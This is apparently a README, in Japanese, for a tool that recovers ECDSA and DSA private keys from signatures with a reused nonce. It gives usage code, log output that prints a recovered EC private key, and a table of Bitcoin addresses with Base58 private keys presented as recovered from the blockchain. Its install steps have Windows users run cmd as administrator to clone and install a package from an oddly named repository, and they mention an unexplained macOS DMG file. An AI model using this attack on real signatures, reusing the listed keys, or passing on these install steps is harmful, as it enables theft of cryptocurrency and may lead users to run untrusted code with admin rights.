ecdsa-key-recovery

ECDSAおよびDSAのNonce再利用による秘密鍵回復攻撃を実行します

署名の脆弱性を分析するための暗号研究ツールです

同じ nonce k を共有する2つの署名から秘密鍵を回復しましょう。同じ nonce k を選択すると、両方の署名で署名値 r が同一になることに注目してください。ECDSAのnonce再利用の良い候補を見つけるには、異なるメッセージ（またはハッシュ）に対して、curve 上の pubkey と同一の r を共有する署名を探します。例えば、bitcoind ベースのブロックチェーンプロジェクトは通常、ECDSA署名データの良い供給源です。

• sampleA (r, sA, hashA, pubkey, curve)
• sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # sampleAと同じprivkey、nonce再利用kによりrが同一

# 秘密鍵を回復
sampleA.recover_nonce_reuse(sampleB)  # sampleAに回復した秘密鍵が設定され、使用可能になります
print sampleA.privkey 

インストールオプション:

setup

以下の手順はWindowsおよびLinux向けです。macOSユーザーはDMGファイルを利用してください。

システムにGitとPythonがインストールされていることを確認してください。

Windows用Gitのダウンロード:

https://git-scm.com/install/windows

Windows用Pythonのダウンロード（直接）:

https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe

最後に、管理者としてcmdを起動してください。

git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git

cd ecdsa-private-key-recovery

py -m pip install -r requirements.txt

py setup.py install

Python 2.x:

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

Bitcoinブロックチェーンからの秘密鍵の回復

tools/README.md

BTC Address	Base58 Privkey	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

例

回復可能な署名オブジェクトを作成:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# 曲線を指定
curve = ecdsa.SECP256k1

# 16進エンコード文字列から標準のecdsa pubkeyオブジェクトを作成
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# sampleAとsampleBの回復可能な署名オブジェクトを作成。
# 長いr、長いs、バイト文字列ハッシュ、pubkeyオブジェクト。
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# 鍵はまだ回復されていない
assert (sampleA.x is None)     

sampleA の秘密鍵を回復

# 鍵の回復を試行 - このオブジェクトsampleAが更新される
sampleA.recover_nonce_reuse(sampleB)    # sampleBと共有する秘密鍵を回復
assert (sampleA.x is not None)          # 秘密鍵の回復成功を検証。これで使用可能なECDSA privkeyオブジェクトが得られる
assert sampleA.privkey

出力

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----